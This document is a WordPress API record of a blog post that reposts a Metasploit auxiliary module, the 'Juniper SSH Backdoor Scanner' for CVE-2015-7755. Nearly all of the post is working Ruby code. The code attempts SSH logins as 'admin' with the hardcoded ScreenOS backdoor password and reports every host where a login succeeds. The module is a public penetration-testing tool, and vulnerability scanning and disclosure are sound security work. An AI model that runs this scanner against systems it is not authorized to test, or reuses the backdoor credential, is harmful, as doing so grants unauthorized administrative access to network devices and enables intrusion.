{"id":59363,"date":"2024-09-01T21:29:43","date_gmt":"2024-09-01T18:29:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181226\/juniper_backdoor.rb.txt"},"modified":"2024-09-01T21:29:43","modified_gmt":"2024-09-01T18:29:43","slug":"juniper-ssh-backdoor-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/juniper-ssh-backdoor-scanner\/","title":{"rendered":"Juniper SSH Backdoor Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;net\/ssh&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::SSH<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Juniper SSH Backdoor Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module scans for the Juniper SSH backdoor (also valid on Telnet).<br \/>Any username is required, and the password is &lt;&lt;&lt; %s(un=&#8217;%s&#8217;) = %u.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;hdm&#8217;, # Discovery<br \/>&#8216;h00die &lt;mike[at]stcyrsecurity.com&gt;&#8217; # Module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2015-7755&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2015\/12\/20\/cve-2015-7755-juniper-screenos-authentication-backdoor\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/kb.juniper.net\/InfoCenter\/index?page=content&amp;id=JSA10713&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2015-12-20&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options([<br \/>Opt::RPORT(22)<br \/>])<\/p>\n<p>register_advanced_options([<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;, [false, &#8216;SSH debugging&#8217;, false]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;, [false, &#8216;SSH timeout&#8217;, 10])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>ssh_opts = ssh_client_defaults.merge({<br \/>:port =&gt; rport,<br \/>:auth_methods =&gt; [&#8216;password&#8217;, &#8216;keyboard-interactive&#8217;],<br \/>:password =&gt; %q{&lt;&lt;&lt; %s(un=&#8217;%s&#8217;) = %u},<br \/>})<\/p>\n<p>ssh_opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>begin<br \/>ssh = Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(<br \/>ip,<br \/>&#8216;admin&#8217;,<br \/>ssh_opts<br \/>)<br \/>end<br \/>rescue Net::SSH::Exception =&gt; e<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>if ssh<br \/>print_good(&#8220;#{ip}:#{rport} &#8211; Logged in with backdoor account admin:&lt;&lt;&lt; %s(un=&#8217;%s&#8217;) = %u&#8221;)<br \/>report_vuln(<br \/>:host =&gt; ip,<br \/>:name =&gt; self.name,<br \/>:refs =&gt; self.references,<br \/>:info =&gt; ssh.transport.server_version.version<br \/>)<br \/>end<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;net\/ssh&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::SSH def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Juniper SSH Backdoor Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{This module scans for the Juniper SSH backdoor (also valid on Telnet).Any username is required, and the password is &lt;&lt;&lt; %s(un=&#8217;%s&#8217;) = %u.},&#8216;Author&#8217; =&gt; [&#8216;hdm&#8217;, # Discovery&#8216;h00die &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59363","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59363","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59363"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59363\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59363"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59363"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59363"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}